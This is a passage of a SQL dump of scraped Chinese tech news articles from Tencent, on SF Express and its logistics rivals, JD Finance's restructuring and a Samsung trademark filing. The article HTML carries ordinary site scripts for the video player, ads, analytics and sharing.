n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"各地网约车细则陆续落地 两会代表委员建议吸取地方经验\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:11', '2017-03-03 02:04:11'); INSERT INTO `post` VALUES ('13', '后有“通达系”前有苏宁京东 顺丰物流版图还能做多大', 'http://img1.gtimg.com/tech/pics/hv1/105/151/2190/142443360.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"后有“通达系”前有苏宁京东 顺丰物流版图还能做多大\" src=\"http://img1.gtimg.com/tech/pics/hv1/105/151/2190/142443360.jpg\"></p><p>每经记者 叶晓丹 每经编辑 赵桥</p><p>快递行业的竞争日趋白热化,而对手却并不仅仅局限于快递企业之间。中国物流与采购联合会物流信息化专家黄刚曾向《每日经济新闻》记者表示,快递行业日趋分化,快递企业和落地配企业、企业自建物流的竞争会更加激烈。</p><p>值得关注的是,在顺丰登陆资本市场,一举问鼎深市第一股之前,快递行业另一家企业却改道行之。相较独立上市,它选择了与其他企业联合作战。根据苏宁云商(002024,SZ)1月3日的公告,苏宁云商旗下子公司苏宁物流以29.75亿元收购了天天快递70%的股份。</p><p>另外一家电商巨头京东,其高级副总裁王振辉在2月28日的发布会上表示,京东物流将通过仓配一体、独立配送、送装一体、无忧售后、大数据服务、物流云、国际供应链和供应链金融等开放服务,成为中国商业基础设施提供商。</p><p>就整个生态链而言,随着京东开放物流、苏宁收购天天快递引入物流社会化服务,有业内人士表示,未来顺丰除了面对通达系(中通、圆通、申通和韵达)等同业对手之外,或将迎来京东、苏宁等劲敌。</p><p><strong>●同业竞争之外的对手</strong></p><p>与顺丰以商务件快递起家不同,京东和苏宁开始均以零售为主,苏宁早期以商超为主,后期发力苏宁云商,而京东则主攻电商,物流是在后期逐步发展起来的。</p><p>“现在快递物流界限越来越模糊,只能通过各自的送货方式去定位。”快递业资深人士张君(化名)告诉《每日经济新闻》记者,目前而言,尽管京东开放自营物流体系,但模式上还是有差别。</p><p>张君表示,快递分两个方面:一个是送,一个是收。顺丰的快递体系相对完善,但是顺丰有一个短板就是仓储,所有的终端厂以及仓库都不具有很强的仓储能力,所有的货品采取的方式都是快进快出。顺丰有一个非常重要的指标就是存货指标,如果存货超出限定标准,会引起整个快递链条的断裂,这就是顺丰一直强调时效的原因。</p><p>而京东的模式优点在于仓储体系非常完善,但是京东和苏宁的短板在于无法收散件快递,像传统的物流送仓需要预约、清点等,耗时较长,所以京东的客户大多是固定的B2B协议客户。未来,京东能否将快递业发展起来需要看它是否有足够的资金投入进去。所以说京东的模式是仓储加物流,而且少了一个快递核心环节就是分拣。从内容上看,京东和苏宁主要以传统物流为主,属于传统的干线调拨。</p><p>但是模式并不是一成不变的,从苏宁收购天天快递的举动来看,中国电子商务研究中心分析师姚建芳曾向媒体表示,苏宁虽然起步早,但在物流社会化业务和物流“最后一公里”的配送能力上还有所欠缺。收购天天快递,有利于苏宁强化前述不足,同时加大苏宁电商与京东等电商比拼的筹码。随着物流能力的逐渐增强,也将为苏宁物流开放并实现营收打下基础。</p><p>不难看出,就整个生态链而言,顺丰面临的挑战不小。中国电子商务研究中心主任曹磊3月2日向记者表示,对于顺丰而言,京东和苏宁以零售起家,有比较多的客流量,这对顺丰会形成一定的分流影响,而且京东和苏宁物流也以自营模式为主,在商业零售、物流等领域开始全产业链布局,对顺丰未来的市场布局或形成竞争压力。</p><p>针对京东和苏宁都有自己的仓储体系,而顺丰以速运为主,仓储和中转场基本是快进快出为主,超过存货指标,会给库存造成压力,公司未来在强化仓储这一块的布局如何?记者向顺丰控股发去了采访提纲,但截至发稿时,未能收到回复。</p><p><strong>●争抢农村和跨境快递市场</strong></p><p>如今的顺丰,并不仅仅只是一家快递公司。除了速运物流业务之外,顺丰集团旗下还包括了金融、商业等业务板块,但这些业务并没有装进上市公司的资产中。</p><p>顺丰控股披露的财务数据显示,顺丰“已剥离业务商业板块”自2013年至2015年亏损分别是1.26亿元、6.14亿元和8.66亿元,而亏损原因“主要是因为顺丰商业自2014年开始集中铺设线下门店所致”。</p><p>据顺丰控股去年12月发布的《重大资产置换及发行股份购买资产并募集配套资金暨关联交易报告书》修订稿披露,顺丰商业门店主要包括顺丰嘿客和顺丰家两类。截至2016年6月30日,顺丰商业共拥有门店1566个。其中,顺丰家是在嘿客店的基础上整合顺丰优选、顺丰快递、顺丰能便民优化而来,目前还处于推广阶段。</p><p>3月1日晚间,《每日经济新闻》记者来到靠近杭州武林广场附近的一家顺丰优选,该店工作人员介绍,这家顺丰优选前身就是顺丰嘿客,2016年底才改头换面,成为“顺丰优选”。</p><p>上述工作人员表示,此前在经营“嘿客”期间,一般是帮助用户在线上下单,但许多消费者并不清楚顺丰嘿客具体是什么,因而后面变身为顺丰优选。</p><p>记者看到,店铺里陈列了不少国外的食品、日常用品,类似一个社区便利店。同时门店还兼具了提供寄送快递的服务,以及代收快递的功能。</p><p>值得注意的是,为了解决快递业“最后一公里”痛点,此前顺丰就有和711 、美宜佳等便利店合作,开展快递代收代寄服务。如今,随着“新零售”概念走红,便利店也备受电商、快递大佬青睐,顺丰能否借顺丰优选、顺丰家扭转此前顺丰嘿客的亏损局面,在商业板块分一杯羹,仍然有待市场验证。</p><p>对于顺丰而言,商业、金融是试水。顺丰在公告中表示,仅仅通过控制成本来提升竞争力是有限度的,专业化一体化的综合性快递物流服务预期将成为物流企业的业务增长点,而供应链综合性解决方案服务覆盖了计划、采购、生产、仓储、配送、售后、金融等7个环节。</p><p>另外从顺丰速运的市场布局来看,除了原有的城市间的快递业务,农村和跨境快递也是被顺丰看好的两大市场。此次顺丰控股登陆资本市场,募集的80亿配套资金,将主要用于航空、中转场项目、信息系统升级、冷链等方面。其中,农村和海外市场是此次顺丰募集资金布局的重点领域。</p><p>顺丰控股表示,随着农村市场、三四线城市以及跨境网购等快递需求的释放,快递企业将重点“向下”“向西”“向外”发展,通过快递专业类物流园区、快件中转场和快递末端服务平台的建设,完善与拓张农村、西部与海外地区服务网络。</p><p>有快递行业内人士分析称,农村快递一定会是未来的一个热点,阿里和京东也都在积极布局这块市场,比如<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;01688&quot;,&quot;100&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/hk/ggcx/01688.htm\" target=\"_blank\"><!--/keyword-->阿里巴巴<!--keyword--></a></span><!--/keyword-->的村淘项目,京东宣布京东家电采用“极限下沉”战略,抢占农村市场,而跨国快递,随着跨境电商的兴起,跨境快递的市场需求也在爆发。但跨境快递受政策影响较大,也考验快递企业在全球范围内寻找优质合作商、控制成本、保障服务的能力。</p><p>(实习生张韵对本文亦有贡献)</p></div>', '2017-03-03 02:04:11', '2017-03-03 02:04:11'); INSERT INTO `post` VALUES ('14', '京东金融重组后刘强东仍是控制人 转身纯内资对标蚂蚁金服', 'http://img1.gtimg.com/tech/pics/hv1/27/147/2190/142442262.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"京东金融重组后刘强东仍是控制人 转身纯内资对标蚂蚁金服\" src=\"http://img1.gtimg.com/tech/pics/hv1/27/147/2190/142442262.jpg\"></p><p>文/腾讯科技 王潘</p><p>2017年3月2日晚间,国内收入规模最大的互联网企业京东集团(纳斯达克股票代码:JD)发布了2016年第四季度及全年业绩。京东全年净收入达2602亿元,同比增长44%,并实现年度扭亏为盈,非美国通用会计准则下(Non-GAAP)年度净利润达10亿元人民币。</p><p>除了京东集团实现盈利之外,财报还公布,2017年3月1日,京东集团签署了关于重组京东金融(负责运营京东互联网金融业务)的最终协议。依照该协议,京东集团将出让其持有的所有京东金融股份,相当于京东金融68.6%的股份。京东集团将不再拥有京东金融的法律所有权或有效控制权,京东集团将获得大约143亿元人民币现金以及在京东金融未来实现累积税前盈利后,获得其税前利润的40%。此外,如果中国相关监管法规许可,京东集团有权将其在京东金融的权利转换为京东金融40%的股权。</p><p>京东集团董事长兼CEO刘强东<!--keyword-->(<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/liuqiangdong#pref=qqcom.keyword\" rel=\"liuqiangdong\" reltitle=\"刘强东\" target=\"_blank\">微博</a></span>)<!--/keyword-->将按照和其他第三方投资人一致的价格购入京东金融4.3%的股份,并遵循同样的协议。另外,依照其所持有的股份以及通过投票权委托或其它安排获取的员工和其他投资人的投票权,刘强东还将拥有京东金融多数表决权。</p><p>根据最终协议,该交易须遵守若干完成条件,目前预计将于2017年中旬完成。交易完成后,京东金融的财务数据将不再合并到京东集团的财务报表。</p><p>2013年10月,京东金融正式从京东内部孵化独立运营。截至目前,京东金融已经开拓出供应链金融、消费金融、财富管理、支付、众筹、保险、证券、农村金融、金融科技等九大业务板块。2016年,京东金融整体交易额突破1万亿元,服务超过1亿个人用户和20万企业客户。</p><p><strong>刘强东避免了<!--keyword--><a class=\"a-tips-Article-QQ\" href=\"http://datalib.tech.qq.com/people/1/index.shtml\" target=\"_blank\"><!--/keyword-->马云<!--keyword--></a>(<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/tncmayun#pref=qqcom.keyword\" rel=\"tncmayun\" reltitle=\"TNC马云\" target=\"_blank\">微博</a></span>)<!--/keyword-->当初遇到的尴尬</strong></p><p>实际上,京东金融并非第一个完成类似拆除VIE架构的互联网金融企业,2011年6月中旬,<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/AlibabaGroup#pref=qqcom.keyword\" rel=\"AlibabaGroup\" reltitle=\"阿里巴巴集团\" target=\"_blank\">阿里巴巴集团</a></span>将支付宝的所有权转让给马云控股的另一家中国内资公司,但这一转让是未经过阿里大股东<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;YHOO.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/YHOO.OQ.htm\" target=\"_blank\"><!--/keyword-->雅虎<!--keyword--></a></span><!--/keyword-->和软银同意的情况下强行进行的。</p><p>随后,全球舆论开始指责马云的诚信和商业道德,知名媒体人胡舒立公开指责马云私自转移支付宝根本不算是偷,简直是抢,是违背了契约原则,在为自己谋私利。</p><p>实际上,马云要将支付宝变成一家内资公司也有难言之隐,其关键点在于央行对金融企业要求不能外资控股。马云后来回忆说,支付宝股权结构刚刚改过来,央行马上发文,这已经能说明问题,就是支付宝股权转让不完美但是正确。</p><p>最终经过多次谈判,2011年7月29日,阿里巴巴集团、雅虎和软银,就支付宝股权转让事件正式签署协议,支付宝的控股公司承诺在上市时予以阿里巴巴集团一次性的现金回报。回报额为支付宝在上市时总市值的37.5%(以IPO价为准),回报额将不低于20亿美元且不超过60亿美元。</p><p>京东金融此次重组,无论是在操作手法上还是在重组目的上,几乎与支付宝当年拆除VIE架构变成纯内资公司一致。在操作手法上,都是将金融公司从母公司拆分出来;在重组目的上,都是为了获得监管机构的认可,以便于获得相应牌照和开展业务的资质。</p><p>京东金融CEO陈生强表示,京东金融转型为一家纯内资企业,未来将更加便利的与金融机构一同为中国企业和家庭提供金融服务。</p><p>不同之处是,京东集团拆分京东金融已经获得了股东的同意,并未引发舆论对刘强东商业诚信的质疑。</p><p>对比两家公司拆分时的处境,二者的主要区别在于,京东集团已实现赴美上市,由于实行同股不同权制度,刘强东尽管并非京东第一大股东,但仍保持对公司的绝对控制。而阿里巴巴集团将支付宝VIE构架拆除时集团未上市,当时在流程上仍需获得大股东美国雅虎和日本软银的同意,但马云称雅虎和软银都知道他要这么做只是三方并没有达成协议,第二天就要递交材料了他不得不这么做。</p><p><strong>将进军银行保险对标蚂蚁金服</strong></p><p>实际上,刘强东也希望通过此次拆分,能够加速金融业务发展,追赶蚂蚁金服。刘强东在今年2月的京东集团年会上表示,到2020年希望京东金融能成为全球金融科技公司TOP3。</p><p>在业务上,京东金融和蚂蚁金服也十分相似,第三方支付京东有京东支付(原网银在线),蚂蚁金服有支付宝;消费金融方面京东金融有京东白条,蚂蚁金服有花呗;理财方面京东金融有小金库、小白理财、基金理财,蚂蚁金服余额宝、招财宝、蚂蚁聚宝等;众筹方面京东金融有产品众筹、股权众筹,蚂蚁金服有淘宝众筹、蚂蚁达客。</p><p>在消费金融方面,蚂蚁金服与京东金融的投资也是针锋相对,各自投资了一家以校园借贷起家的公司:蚂蚁金服投资了趣店集团,京东则投资了乐信集团。</p><p>此外,蚂蚁金服旗下还拥有保险(众安保险、国泰产险)、银行(网商银行)、征信(芝麻信用)等业务是京东金融目前所没有的。不过,刘强东近日对外公开表态称,京东金融将会进入证券、征信、银行等领域,还将申请保险牌照。</p><p>在用户规模上,京东金融和蚂蚁金服还有一定的差距。尤其在第三方支付方面,目前微信支付和支付宝遥遥领先,占据绝大多数市场份额,京东支付还有很长的一段路要走。</p><p>在估值上,京东金融目前同样低于蚂蚁金服,仍处于追赶阶段。2016年1月,京东集团宣布京东金融获66.5亿元融资,融资完成后京东金融整体估值达466.5亿人民币。2016年4月,蚂蚁金服宣布完成45亿美元B轮融资,融资完成后估值约600亿美元(约合3885亿元人民币)。</p><p>不过,需要指出的是,蚂蚁金服做到如今的规模,在于支付宝从2004年12月诞生至今已有12年之久,而京东收购第三方支付平台网银在线是在2012年10月,也就是说,京东金融做到如今的规模,仅用了不到5年的时间。</p><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"京东金融重组后刘强东仍是控制人 转身纯内资对标蚂蚁金服\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p></div>', '2017-03-03 02:04:12', '2017-03-03 02:04:12'); INSERT INTO `post` VALUES ('15', '三星申请Galaxy X商标 或推屏幕可折叠的手机新系列', 'http://upload.techweb.com.cn/s/640/2017/0301/1488326391468.jpg', '>三星电子</a></span>将发布外界期待的Galaxy S8。不过据外媒最新消息,三星最近申请了“Galaxy X”的商标,显示正在准备一个全新系列的智能手机。</p>', '2017-03-03 02:04:12', '2017-03-03 02:04:12'); INSERT INTO `post` VALUES ('16', '莫斯科地铁启用机器人助手 会讲笑话逗乘客开心', 'http://pic.iresearch.cn/news/2017-03/636241329454918005_b.jpg', '<div>\n<script>function ResumeError() {return true;}</script><div class=\"container\"><span>\n</span><!--[if !IE]>|xGv00|379dfeb6ce5297e9b05d800e0de573d4<![endif]--><span>\n \n </span><!--[if !IE]>|xGv00|b793480d530b9af7ac19c071c93aaa68<![endif]--><div class=\"body\"><span>\n</span><div class=\"main\" id=\"Main-P-QQ\"><span>\n</span><span>\n</span><div class=\"section\"><span>\n</span><div id=\"Main-A\"><span>\n</span><div id=\"picWrap\"><span>\n</span><img id=\"bigPic\"><a href=\"javascript:;\" target=\"_blank\" class=\"slideBtn\" bosszone=\"gqYT\" id=\"slideBtn\" hidefocus=\"true\"></a><span>\n</span></div><span>\n</span><span>\n</span><span>\n</span><span>\n</span><a id=\"v_play\" onclick=\"hdPic.fn.playVideo();\" bosszone=\"gqLastVideo\"></a><span>\n</span></div><span>\n</span><span>\n</span><!-- 补充内容 --><span> \n</span><script type=\"text/javascript\">\n//new Image(1,1).src = \"http://i.match.qq.com/stat/only?ch=pic\";\nwindow.onload = function(){\n$.ajax(\'http://i.match.qq.com/stat/only?ch=pic\',{dataType:\'jsonp\'});\n}\n</script><!--[if !IE]>|xGv00|87b988f66686994f1147191f50269e4c<![endif]--><span>\n</span></div><span>\n</span><span>\n</span></div><span>\n</span><span>\n</span><span>\n</span></div><span>\n</span></div>\n<!--放大镜-->\n<style>\n.sh{\n position:absolute;zoom:1;background:#eee;filter:progid:DXImageTransform.Microsoft.dropShadow(color=\'#54000000\', OffX=2,OffY=2);-webkit-box-shadow:4px 4px 4px #666;-moz-box-shadow:4px 4px 4px #666;\n width:254px;height:254px;border:3px solid #fff;left:0px;top:0;overflow:hidden;background:#000;\n z-index:999;\n}\n.sh img{position:relative;}\n</style>\n\n<!--放大镜-->\n\n<!-- 广告配置 -->\n<script>\n\n/*\n* 末页广告\n* NoLastAD 不显示末页广告频道\n* LastADSet {\"ch\":域名,\"ad\":广告位id},全站通发为*,gaoqing_F_pic\n*/\nvar NoLastAD = \'news, kid, rushidao, foxue, rufodao, 2014, xian, changsha, ln, bj.jjj, tj.jjj, hb.jjj\';\nvar LastADSet = [{\'ch\': \'2014\', \'ad\': \'Sports_WC_F_KKZ_pic\'}, {\'ch\': \'xian\', \'ad\': \'xian_gaoqing_C_KKZ_pic\'},{\'ch\': \'changsha\', \'ad\': \'hn_gaoqing_C_KKZ_pic\'},{\'ch\': \'ln\', \'ad\': \'LN_zutu_gaoqing_F_KKZ_pic\'},{\'ch\': \'bj.jjj\', \'ad\': \'bj_gaoqing_F_KKZ_pic\'},{\'ch\': \'tj.jjj\', \'ad\': \'tj_gaoqing_F_KKZ_pic\'},{\'ch\': \'hb.jjj\', \'ad\': \'hebei_gaoqing_F_KKZ_pic\'}];<!--[if !IE]>|xGv00|8a4e0eb9c47c205f4ee1cf4357ad72a0<![endif]--> \n\n//摩天楼广告\nvar mtlAD = \'gaoqing_F_MTL\';<!--[if !IE]>|xGv00|dd32b4fe7d616facf82d8360871d27e8<![endif]--> \n\n</script>\n\n\n<!-- 末页推荐图片 -->\n<script>\n// 末页4图/c/hd_lastPic_4.htm\n \n var lastPic_hd_4 = [{id: \'20141127008638\',title: \'如果发生全球灾难 人类可逃往这六个地方!\',url: \'http://tech.qq.com/a/20141127/008638.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/116/42/1751/113869601.png\'},{id: \'20141127009176\',title: \'组图:盘点世界上样貌惊人的九大螳螂物种\',url: \'http://tech.qq.com/a/20141127/009176.htm\',fimg: \'http://img1.gtimg.com/11/1118/111862/11186251_small.jpg\'},{id: \'20141127008844\',title: \'新型折叠电动车可放入背包 时速可达20公里\',url: \'http://tech.qq.com/a/20141127/008844.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/254/41/1751/113869484.jpg\'},{id: \'20141127008641\',title: \'如果发生全球灾难 人类可逃往这六个地方!\',url: \'http://tech.qq.com/a/20141127/008641.htm\',fimg: \'http://img1.gtimg.com/11/1118/111861/11186107_small.png\'},{id: \'20141126109200\',title: \'组图:日本计划2030年建造海洋亚特兰蒂斯城\',url: \'http://tech.qq.com/a/20141126/109200.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/43/140/1750/113829493.jpg\'},{id: \'20141127007966\',title: \'梅耶尔:一个科技女CEO的光鲜生活\',url: \'http://tech.qq.com/a/20141127/007966.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/233/221/1750/113850338.jpg\'},{id: \'20141127007349\',title: \'不只有苹果 其它科技公司也在变成土豪\',url: \'http://tech.qq.com/a/20141127/007349.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/66/219/1750/113849661.jpg\'},{id: \'20140801078593\',title: \'《猜图学科学》:自测一下你对科学的了解\',url: \'http://tech.qq.com/a/20140801/078593.htm\',fimg: \'http://img1.gtimg.com/9/967/96700/9670051_small.jpg\'},{id: \'20141126001221\',title: \'组图:你必须知道的黑洞事实\',url: \'http://tech.qq.com/a/20141126/001221.htm\',fimg: \'http://img1.gtimg.com/8/866/86695/8669536_small.jpg\'},{id: \'20141126109154\',title: \'组图:61岁摄影师在后花园拍摄的多彩太空\',url: \'http://tech.qq.com/a/20141126/109154.htm\',fimg: \'http://img1.gtimg.com/11/1117/111752/11175286_small.jpg\'},{id: \'20141126103955\',title: \'《时代》杂志评出2014年度25大最佳发明\',url: \'http://tech.qq.com/a/20141126/103955.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/186/51/1750/113806941.jpg\'},{id: \'20141126108010\',title: \'科技巨头那些脑洞大开的未来计划\',url: \'http://tech.qq.com/a/20141126/108010.htm\',fimg: \'http://img1.gtimg.com/tech/pics/hv1/86/58/1750/113808626.jpg\'}]; \n\n<!--[if !IE]>|xGv00|d27691d1e32ec7a56789873583a89608<![endif]-->\n\n// 末页8图/c/hd_lastPic_8.htm\n \n var lastPic_hd_8 = [{id: \'20141127010276\',title: \'河南奇人用睾丸拉起160斤重物摆动 用时10分\',url: \'http://news.qq.com/a/20141127/010276.htm\',fimg: \'http://img1.gtimg.com/11/1118/111864/11186457_small.jpg\'},{id: \'20141127026819\',title: \'组图:山东梁山五胞胎家庭因多子陷贫困\',url: \'http://news.qq.com/a/20141127/026819.htm\',fimg: \'http://img1.gtimg.com/11/1119/111911/11191170_small.jpg\'},{id: \'20141127020022\',title: \'高清:鲨鱼新座驾曝光 加高加长全球仅此一辆\',url: \'http://sports.qq.com/a/20141127/020022.htm\',fimg: \'http://img1.gtimg.com/11/1118/111888/11188834_small.jpg\'},{id: \'20141127008713\',title: \'野生大熊猫“平平”抢救无效死亡 全身已无脂肪\',url: \'http://news.qq.com/a/20141127/008713.htm\',fimg: \'http://img1.gtimg.com/news/pics/hv1/240/228/1750/113852130_small.jpg\'},{id: \'20141128012043\',title: \'揭秘卡戴珊家族体育淫乱史:大姨子与多人有染\',url: \'http://sports.qq.com/a/20141128/012043.htm\',fimg: \'http://img1.gtimg.com/11/1119/111956/11195633_small.jpg\'},{id: \'20141127065550\',title: \'组图:重庆现“天下第一大火锅” 民众一同开涮\',url: \'http://news.qq.com/a/20141127/065550.htm\',fimg: \'http://img1.gtimg.com/news/pics/hv1/251/104/1751/113885546_small.jpg\'},{id: \'20141127032116\',title: \'大S晒抱女照自黑:像宿醉肥婆偷人家孩子\',url: \'http://ent.qq.com/a/20141127/032116.htm\',fimg: \'http://img1.gtimg.com/11/1119/111917/11191759_small.jpg\'},{id: \'20141127011178\',title: \'有钱就爱任性 体坛富豪女炫富滥情当小三\',url: \'http://sports.qq.com/a/20141127/011178.htm\',fimg: \'http://img1.gtimg.com/11/1118/111867/11186746_small.jpg\'}]; \n\n<!--[if !IE]>|xGv00|a1cf9eababa72dee7f103ef6b47d56a2<![endif]-->\n\n// 末页搜狗\nvar sogouUrl = {\n news : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n finance : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n tech : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n digi : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n auto : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n house : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n cul : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n edu : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n baby : \'http://wap.sogou.com/data/hotwords/qq_gaoqing_news.js\',\n ent : \'http://wap.sogou.com/data/hotwords/qq_gaoqing.js\',\n sports : \'http://wap.sogou.com/data/hotwords/qq_gaoqing.js\',\n fashion : \'http://wap.sogou.com/data/hotwords/qq_gaoqing.js\',\n gamezone: \'http://wap.sogou.com/data/hotwords/qq_gaoqing.js\',\n health : \'http://wap.sogou.com/data/hotwords/qq_gaoqing.js\'\n};\nvar sogouPos = [4, 5];\n<!--[if !IE]>|xGv00|987a292657af93f1513d45a256a832af<![endif]-->\n\n\n\n// 末页 可视化数据源 激活域名\ntry{\n lastPic_ksh_sites = [\"news\",\"ent\",\"sports\",\"auto\",\"fashion\",\"tech\",\"digi.tech\",\"space\",\"finance\",\"stock\",\"comic\",\"ru\",\"foxue\",\"dao\",\"house\",\"games\",\"edu\",\"dajia\",\"cul\",\"astro.fashion\"];\n}catch(e){}\n\n</script>\n<!--[if !IE]>|xGv00|609bae63563df38372cef5dbb8ce3ea4<![endif]--><script>var siteLink=\"http://news.qq.com/photo.shtml\",isPic=false;</script><!--[if !IE]>|xGv00|b1a20d1cca858d827f8d36fac025b572<![endif]--><script>\nvar para = {\n name: \"东方IC\", \n url: \"NULL\", \n time: \"2017年03月03日08:34\", \n siteName: \"腾讯科技\", \n siteLink: siteLink, \n ispic: isPic, \n isComent: \"2\", \n aid: \"1793154458\", \n siteEname: \"tech\", \n auth: \"\", \n isShowLastAD: \"undefined\"\n}\n</script><script type=\"text/javascript\">\n var hd_videoData = [\n \n {\"id\":\"\",\"desc\":\"\",\"bimg\":\"\",\"simg\":\"\"\n }\n ];\n </script><!-- 有末页视频的曝光 -->\n<script>if(ExposureBoss&&hd_videoData&&(hd_videoData.length>0)&&hd_videoData[0][\'id\'])ExposureBoss(1604,\'EXgqVideo\',\'gaoqing\');</script>\n\n<script src=\"http://mat1.gtimg.com/joke/hd2013/js/hd_boss.js\"></script>\n<script type=\"text/javascript\" src=\"http://mat1.gtimg.com/www/mb/js/portal/mi.MiniNav_110110v1.js\" charset=\"utf-8\"></script>\n\n<!-- 判断脚本加载 -->\n<script src=\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\"></script>\n\n<!--\n<script src=\"http://imgcache.gtimg.cn/tencentvideo_v1/tvp/js/tvp.player_v2_jq.js\"></script>\n-->\n<script src=\"http://news.qq.com/dc_column_article/hd2013/hdconfig.htm\" type=\"text/javascript\"></script>\n<script src=\"http://mat1.gtimg.com/pingjs/ext2020/dc/module/hd2013.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<link href=\"http://mat1.gtimg.com/news/hd2013/css/slide/slide_0.0.1.css\" rel=\"stylesheet\" type=\"text/css\">\n<script src=\"http://mat1.gtimg.com/news/hd2013/js/slide/slide_0.0.7.js\"></script>\n<script src=\"http://mat1.gtimg.com/news/hd2013/js/tool/share_v0.0.2.js\"></script>\n <script>\n if(window[\'hdPic\']) hdPic(para);\n //分享\n $(\'.share2sina\').click(function(){ \n share.sina(hdPic.fn._shareObj);\n });\n $(\'.share2weibo, .endShareBtn-weibo\').click(function(){ \n share.weibo(hdPic.fn._shareObj);\n });\n $(\'.share2qq\').click(function(){ \n share.qq(hdPic.fn._shareObj);\n });\n $(\'.share2qzone, .endShareBtn-qzone\').click(function(){ \n share.qzone(hdPic.fn._shareObj);\n });\n </script>\n\n<script type=\"text/javascript\" src=\"http://imgcache.qq.com/qzone/biz/comm/js/qbs.js\"></script>\n<script type=\"text/javascript\">\nvar TIME_BEFORE_LOAD_CRYSTAL = (new Date).getTime();\n</script>\n<script src=\"http://ra.gtimg.com/web/crystal/v2.8Beta07Build071/crystal-min.js\" id=\"l_qq_com\" arguments=\"{\'extension_js_src\':\'http://ra.gtimg.com/web/crystal/v2.8Beta07Build071/crystal_ext-min.js\', \'jsProfileOpen\':\'false\', \'mo_page_ratio\':\'0.01\', \'mo_ping_ratio\':\'0.01\', \'mo_ping_script\':\'//ra.gtimg.com/sc/mo_ping-min.js\'}\"></script>\n<script type=\"text/javascript\">\nif(typeof crystal === \'undefined\' && Math.random() <= 1) {\n (function() {\n var TIME_AFTER_LOAD_CRYSTAL = (new Date).getTime();\n var img = new Image(1,1);\n img.src = \"http://dp3.qq.com/qqcom/?adb=1&dm=tech&err=1002&blockjs=\"+(TIME_AFTER_LOAD_CRYSTAL-TIME_BEFORE_LOAD_CRYSTAL);\n 